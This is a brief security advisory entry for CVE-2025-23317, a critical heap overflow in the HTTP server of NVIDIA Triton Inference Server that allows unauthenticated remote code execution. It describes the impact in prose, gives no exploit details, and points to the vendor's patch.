CVE-2025-23317

CRITICAL Pub 06/08 Upd 06/08

Overview

This vulnerability is a heap-based buffer overflow (CWE-122) within the HTTP server component of the NVIDIA Triton Inference Server. The flaw arises due to improper input validation of specially crafted HTTP requests, allowing memory corruption. The affected component is the HTTP server interface responsible for handling incoming inference requests and related API calls.

Vulnerability Description

NVIDIA Triton Inference Server contains a vulnerability in the HTTP server, where an attacker could start a reverse shell by sending a specially crafted HTTP request. A successful exploit of this vulnerability might lead to remote code execution, denial of service, data tampering, or information disclosure.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the Triton Inference Server, potentially gaining full control of the system. This includes initiating reverse shells, causing denial of service, tampering with inference data, or disclosing sensitive information. The attack requires network access to the server's HTTP interface and no user interaction. The CVSS vector indicates low complexity and no privileges or user interaction are required (AV:N/AC:L/PR:N/UI:N).

Solution

NVIDIA recommends updating the Triton Inference Server to the latest patched version as detailed in their advisory (https://nvidia.custhelp.com/app/answers/detail/a_id/5687). The advisory provides specific instructions to apply the security update that addresses the heap overflow in the HTTP server. Users should verify their deployment version and apply the vendor-supplied patch promptly to mitigate this vulnerability.
